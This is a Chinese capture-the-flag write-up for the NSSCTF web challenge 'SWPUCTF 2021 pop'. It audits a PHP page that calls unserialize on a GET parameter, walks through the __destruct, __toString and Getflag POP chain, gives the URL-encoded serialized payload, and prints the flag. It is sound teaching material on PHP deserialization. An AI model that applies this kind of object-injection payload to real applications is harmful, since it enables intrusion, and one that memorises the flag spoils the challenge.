[SWPUCTF 2021 新生赛]pop
[SWPUCTF 2021 新生赛]pop
题目来源:nssctf
题目类型:web
涉及考点:PHP反序列化、pop链
1. 上来先做代码审计
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
有关PHP反序列化和pop链的知识点详见[NISACTF 2022]popchains
题目要求GET传入w00m,并进行反序列化操作
我们先一个一个类进行分析:
- w44m类:
如果变量前是protected,则会在变量名前加上
\x00*\x00
,若是private,则会在变量名前加上
\x00类名\x00
,输出时一般需要url编码
我们最终的目标就是调用w44m类中的Getflag方法
- w22m类:
当类销毁时会输出$this->w00m
- w33m类:
当w33m类的对象被当做字符串使用时,触发__toString()方法
需要注意类中的wxxm变量与wxxm类不要混淆
2. 尝试构造payload
首先我们构造POP链:
- 在w44m类中的Getflag作为尾部
- w33m类中有
$this->w00m->{$this->w22m}();
,因此我们需要给w00m一个w44m类,给w22m一个Getflag字符串 - 而如何调用w33m类中的__toString()方法呢,我们看到w22m类中有
echo $this->w00m;
,需要给w00m一个w33m类即可
综上,POP链:
w22m::__destruct()->w33m::__toString()->w44m::Getflag()
在线php构造序列化字符串如下:
其中未显示的字符为\x00,即空格
对其url编码,构造payload如下:
/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
得到flag:
NSSCTF{6e9fe138-692e-4f61-8847-beb420f2b5dc}
日期:2023.7.28
作者:y0Zero